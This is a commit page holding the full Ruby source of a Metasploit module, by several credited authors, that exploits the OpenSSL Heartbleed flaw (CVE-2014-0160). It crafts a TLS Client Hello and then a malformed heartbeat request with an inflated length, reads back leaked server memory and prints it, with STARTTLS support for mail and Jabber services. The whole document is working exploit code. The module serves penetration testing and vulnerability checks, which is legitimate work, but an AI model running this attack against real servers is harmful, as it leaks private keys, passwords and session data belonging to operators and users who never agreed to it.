Land #3206, OpenSSL Heartbleed infoleak
William Vu
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dd69a9e5dd
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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CIPHER_SUITES = [
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0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
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0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
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0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
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0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
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0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
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0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
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0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
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0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
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0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
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0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
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0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
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0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
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0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
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0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
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0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
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0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
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0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
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0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
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0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
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0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
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0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
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0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
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0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
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0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
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0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
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0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
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0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
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0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
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0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
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0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
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0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
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0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
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0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
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0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
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0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
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0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
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0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
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0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
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0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
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0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
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0x0005, # TLS_RSA_WITH_RC4_128_SHA
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0x0004, # TLS_RSA_WITH_RC4_128_MD5
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0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
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0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
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0x0009, # TLS_RSA_WITH_DES_CBC_SHA
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0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
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0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
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0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
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0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
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0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
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0x00ff # Unknown
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]
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HANDSHAKE_RECORD_TYPE = 0x16
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HEARTBEAT_RECORD_TYPE = 0x18
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TLS_VERSION = {
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'1.0' => 0x0301,
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'1.1' => 0x0302,
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'1.2' => 0x0303
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}
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TTLS_CALLBACKS = {
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'SMTP' => :tls_smtp,
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'IMAP' => :tls_imap,
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'JABBER' => :tls_jabber,
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'POP3' => :tls_pop3
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}
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def initialize
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super(
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'Name' => 'OpenSSL Heartbeat Information Leak',
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'Description' => %q{
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This module implements the OpenSSL Heartbleed attack. The problem
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exists in the handling of heartbeat requests, where a fake length can
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be used to leak memory data in the response. Services that support
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STARTTLS may also be vulnerable.
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},
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'Author' => [
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'Neel Mehta', # Vulnerability discovery
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'Riku', # Vulnerability discovery
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'Antti', # Vulnerability discovery
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'Matti', # Vulnerability discovery
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'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
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'FiloSottile', # PoC site and tool
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'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module
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'juan vazquez' # Msf module
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],
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'References' =>
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[
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['CVE', '2014-0160'],
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['US-CERT-VU', '720951'],
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['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
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['URL', 'http://heartbleed.com/'],
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['URL', 'https://github.com/FiloSottile/Heartbleed'],
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['URL', 'https://gist.github.com/takeshixx/10107280'],
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['URL', 'http://filippo.io/Heartbleed/']
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],
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'DisclosureDate' => 'Apr 7 2014',
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::RPORT(443),
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OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),
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OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']])
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], self.class)
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end
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def peer
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"#{rhost}:#{rport}"
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end
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def tls_smtp
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# https://tools.ietf.org/html/rfc3207
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sock.get_once
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sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")
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res = sock.get_once
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unless res && res =~ /STARTTLS/
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return nil
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end
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sock.put("STARTTLS\n")
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sock.get_once
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end
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def tls_imap
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# http://tools.ietf.org/html/rfc2595
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sock.get_once
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sock.put("a001 CAPABILITY\r\n")
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res = sock.get_once
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unless res && res =~ /STARTTLS/i
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return nil
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end
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sock.put("a002 STARTTLS\r\n")
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sock.get_once
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end
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def tls_pop3
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# http://tools.ietf.org/html/rfc2595
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sock.get_once
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sock.put("CAPA\r\n")
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res = sock.get_once
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if res.nil? || res =~ /^-/
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return nil
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end
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sock.put("STLS\r\n")
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res = sock.get_once
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if res.nil? || res =~ /^-/
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return nil
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end
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end
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def tls_jabber
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# http://xmpp.org/extensions/xep-0035.html
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msg = "<?xml version='1.0' ?>"
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msg << "<stream:stream xmlns='jabber:client' "
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msg << "xmlns:stream='http://etherx.jabber.org/streams' "
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msg << "xmlns:tls='http://www.ietf.org/rfc/rfc2595.txt' "
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msg << "to='#{rhost}'>"
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sock.put(msg)
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res = sock.get_once
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return nil if res.nil? # SSL not supported
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return nil if res =~ /stream:error/ || res !~ /starttls/i
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msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
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sock.put(msg)
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sock.get_once
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end
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def run_host(ip)
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connect
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unless datastore['STARTTLS'] == 'None'
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vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
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res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])
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if res.nil?
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vprint_error("#{peer} - STARTTLS failed...")
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return
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end
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end
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vprint_status("#{peer} - Sending Client Hello...")
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sock.put(client_hello)
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server_hello = sock.get
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unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
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vprint_error("#{peer} - Server Hello Not Found")
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return
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end
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vprint_status("#{peer} - Sending Heartbeat...")
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heartbeat_length = 16384
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sock.put(heartbeat(heartbeat_length))
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hdr = sock.get_once(5)
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if hdr.blank?
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vprint_error("#{peer} - No Heartbeat response...")
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return
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end
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unpacked = hdr.unpack('CnC')
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type = unpacked[0]
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version = unpacked[1] # must match the type from client_hello
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len = unpacked[2]
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unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
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vprint_error("#{peer} - Unexpected Heartbeat response'")
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disconnect
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return
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end
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vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
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heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
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if heartbeat_data && heartbeat_data.length > len
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print_good("#{peer} - Heartbeat response with leak")
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report_vuln({
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:host => rhost,
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:port => rport,
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:name => self.name,
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:refs => self.references,
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:info => "Module #{self.fullname} successfully leaked info"
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})
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vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
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else
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vprint_error("#{peer} - Looks like there isn't leaked information...")
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end
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end
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def heartbeat(length)
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payload = "\x01" # Heartbeat Message Type: Request (1)
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payload << "\x40\x00" # Payload Length: 16384
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payload << [length].pack("n")
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ssl_record(HEARTBEAT_RECORD_TYPE, payload)
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end
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def client_hello
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hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
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hello_data << "\x53\x43\x5b\x90" # Random generation Time (Apr 8, 2014 04:14:40.000000000)
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hello_data << Rex::Text.rand_text(28) # Random
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hello_data << "\x00" # Session ID length
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hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
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hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
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hello_data << "\x01" # Compression methods length (1)
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hello_data << "\x00" # Compression methods: null
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hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
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hello_data_extensions << "\x00\x01" # Extension length
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hello_data_extensions << "\x01" # Extension data
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hello_data << [hello_data_extensions.length].pack("n")
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hello_data << hello_data_extensions
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data = "\x01\x00" # Handshake Type: Client Hello (1)
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data << [hello_data.length].pack("n") # Length
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data << hello_data
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ssl_record(HANDSHAKE_RECORD_TYPE, data)
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end
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def ssl_record(type, data)
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record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
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record << data
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end
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end
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